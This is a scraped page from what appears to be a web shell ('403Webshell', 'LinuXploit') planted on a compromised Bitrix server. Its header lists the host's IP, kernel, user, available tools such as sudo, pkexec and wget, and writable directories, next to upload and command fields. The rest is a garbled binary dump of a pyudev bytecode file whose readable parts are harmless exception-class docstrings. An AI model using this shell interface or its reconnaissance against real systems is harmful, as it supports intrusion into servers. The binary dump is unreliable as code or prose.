403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/pyudev/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/pyudev/__pycache__/_errors.cpython-39.pyc
a

8g+^[�@sdZddlmZddlmZddlmZddlmZddlZddlmZeej	�Gdd	�d	e
��Zeej	�Gd
d�de��ZGdd
�d
e�Z
Gdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZdS)z�
    pyudev.device._errors
    =====================

    Errors raised by Device methods.

    .. moduleauthor:: Sebastian Wiesner <lunaryorn@gmail.com>
�)�absolute_import)�division)�print_function)�unicode_literalsN)�
add_metaclassc@seZdZdZdS)�DeviceErrorzP
    Any error raised when messing around w/ or trying to discover devices.
    N��__name__�
__module__�__qualname__�__doc__�r
r
�2/usr/lib/python3.9/site-packages/pyudev/_errors.pyr$src@seZdZdZdS)�DeviceNotFoundErrorz�
    An exception indicating that no :class:`Device` was found.

    .. versionchanged:: 0.5
       Rename from ``NoSuchDeviceError`` to its current name.
    Nrr
r
r
rr+src@s,eZdZdZdd�Zedd��Zdd�ZdS)	�DeviceNotFoundAtPathErrorzh
    A :exc:`DeviceNotFoundError` indicating that no :class:`Device` was
    found at a given path.
    cCst�||�dS�N�r�__init__)�self�sys_pathr
r
rr;sz"DeviceNotFoundAtPathError.__init__cCs
|jdS)z<
        The path that caused this error as string.
        r��args�rr
r
rr>sz"DeviceNotFoundAtPathError.sys_pathcCsd�|j�S)NzNo device at {0!r})�formatrrr
r
r�__str__Esz!DeviceNotFoundAtPathError.__str__N)r	r
rrr�propertyrrr
r
r
rr5s

rc@seZdZdZdS)�DeviceNotFoundByFileErrorzp
    A :exc:`DeviceNotFoundError` indicating that no :class:`Device` was
    found from the given filename.
    Nrr
r
r
rrIsrc@seZdZdZdS)�#DeviceNotFoundByInterfaceIndexErrorzw
    A :exc:`DeviceNotFoundError` indicating that no :class:`Device` was found
    from the given interface index.
    Nrr
r
r
rrPsrc@seZdZdZdS)�!DeviceNotFoundByKernelDeviceErrorz�
    A :exc:`DeviceNotFoundError` indicating that no :class:`Device` was found
    from the given kernel device string.

    The format of the kernel device string is defined in the
    systemd.journal-fields man pages.
    Nrr
r
r
rrWsrc@s8eZdZdZdd�Zedd��Zedd��Zdd	�Zd
S)�DeviceNotFoundByNameErrorzj
    A :exc:`DeviceNotFoundError` indicating that no :class:`Device` was
    found with a given name.
    cCst�|||�dSrr)r�	subsystem�sys_namer
r
rrgsz"DeviceNotFoundByNameError.__init__cCs
|jdS)zA
        The subsystem that caused this error as string.
        rrrr
r
rr jsz#DeviceNotFoundByNameError.subsystemcCs
|jdS)z@
        The sys name that caused this error as string.
        �rrr
r
rr!qsz"DeviceNotFoundByNameError.sys_namecCs
d�|�S)Nz+No device {0.sys_name!r} in {0.subsystem!r}�rrr
r
rrxsz!DeviceNotFoundByNameError.__str__N)	r	r
rrrrr r!rr
r
r
rras

rc@s8eZdZdZdd�Zedd��Zedd��Zdd	�Zd
S)�DeviceNotFoundByNumberErrorzs
    A :exc:`DeviceNotFoundError` indicating, that no :class:`Device` was found
    for a given device number.
    cCst�|||�dSrr)r�typZnumberr
r
rr�sz$DeviceNotFoundByNumberError.__init__cCs
|jdS)zj
        The device type causing this error as string.  Either ``'char'`` or
        ``'block'``.
        rrrr
r
r�device_type�sz'DeviceNotFoundByNumberError.device_typecCs
|jdS)zB
        The device number causing this error as integer.
        r"rrr
r
r�
device_number�sz)DeviceNotFoundByNumberError.device_numbercCs
d�|�S)Nz7No {0.device_type} device with number {0.device_number}r#rr
r
rr�s�z#DeviceNotFoundByNumberError.__str__N)	r	r
rrrrr&r'rr
r
r
rr$|s

r$c@seZdZdZdd�ZdS)� DeviceNotFoundInEnvironmentErrorz�
    A :exc:`DeviceNotFoundError` indicating, that no :class:`Device` could
    be constructed from the process environment.
    cCsdS)NzNo device found in environmentr
rr
r
rr�sz(DeviceNotFoundInEnvironmentError.__str__N)r	r
rrrr
r
r
rr(�sr(c@s&eZdZdZdZddd�Zdd�ZdS)	�DeviceValueErrorz�
    Raised when a parameter has an unacceptable value.

    May also be raised when the parameter has an unacceptable type.
    z+value '%s' for parameter %s is unacceptableNcCs||_||_||_dS)z� Initializer.

            :param object value: the value
            :param str param: the parameter
            :param str msg: an explanatory message
        N)�_value�_param�_msg)r�valueZparam�msgr
r
rr�szDeviceValueError.__init__cCs6|jr$|jd}||j|j|jfS|j|j|jfS)Nz: %s)r,�_FMT_STRr*r+)rZfmt_strr
r
rr�s
zDeviceValueError.__str__)N)r	r
rrr/rrr
r
r
rr)�s
r))rZ
__future__rrrr�abcZsixr�ABCMeta�	Exceptionrrrrrrrr$r(r)r
r
r
r�<module>s$		


Youez - 2016 - github.com/yon3zu
LinuXploit